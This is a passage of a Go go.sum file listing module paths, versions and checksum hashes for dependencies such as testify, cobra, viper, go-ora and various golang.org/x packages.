h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw= github.com/sijms/go-ora/v2 v2.5.29 h1:ZSaeQM0Jn+r3XcIajk1YJk3Rx8fmt9eso6QQ73IZM6E= github.com/sijms/go-ora/v2 v2.5.29/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo= github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU= github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww= github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU= github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.30.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.32.0 h1:ZqPmj8Kzc+Y6e0+skZsuACbx+wzMgo5MQsJh9Qd6aYI= golang.org/x/net v0.32.0/go.mod h1:CwU0IoeOlnQQWJ6ioyFrfRuomB8GKF6KbYXZVyeXNfs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod 